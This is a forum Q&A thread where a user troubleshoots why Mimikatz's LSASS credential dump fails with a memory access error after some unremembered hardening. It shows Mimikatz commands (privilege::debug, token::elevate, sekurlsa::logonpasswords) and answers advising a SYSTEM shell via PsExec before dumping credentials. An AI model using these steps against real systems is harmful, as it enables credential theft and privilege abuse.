1

I used to run Mimikatz in one of my computers. Then, I did something to block its action and I do not recall what it was. I am trying to revert it unsuccessfully.

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM

792     {0;000003e7} 1 D 63431          NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Primary
 -> Impersonated !
 * Process Token : {0;00025b34} 1 F 4156027     COMP\U244        S-1-5-21-542114799-846785721-1465343628-1001    (14g,24p)       Primary
 * Thread Token  : {0;000003e7} 1 D 4625769     NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Impersonation (Delegation)

mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

I know about RunAsPPL, but I have removed it:

reg query “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA” /v RunAsPPL
ERROR: Invalid key name.

Maybe a HotFIX changed something, I am running:

OS Version:                10.0.19043 N/A Build 19043

What else could be breaking the necessary access?

Improve this question

1 Answer 1

Reset to default
0

I've tried both Mimikatz latest and 2.1.1, both doesnt seem to work. Apparently, you need a cmd as NT AUTHORITY\SYSTEM via running cmd as Administrator then ".\PsExec64.exe -i -s cmd.exe", in the new spawned cmd, make sure a "whoami" returns NT AUTHORITY\SYSTEM.

Improve this answer
8
  • NT AUTHORITY\SYSTEM and administrator are different things. And I already elevated, as you can see in my post
    – user1156544
    May 14, 2022 at 16:27
  • Hey, I meant, ensure that the cmd that runs Mimikatz is NT AUTHORITY\SYSTEM by running whoami before running mimikatz.
    – NoPurposeInLife
    May 15, 2022 at 20:34
  • And what would it be difference from running as Administrator and elevate the token?
    – user1156544
    May 16, 2022 at 11:23
  • No idea, but can you give it a try, with NT AUTHORITY\SYSTEM - cmd instead of an Administrator cmd?
    – NoPurposeInLife
    May 16, 2022 at 17:05
  • It worked in my case against a Windows Server 2016, when my cmd's whoami returns NT AUTHORITY\SYSTEM.
    – NoPurposeInLife
    May 17, 2022 at 7:45

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .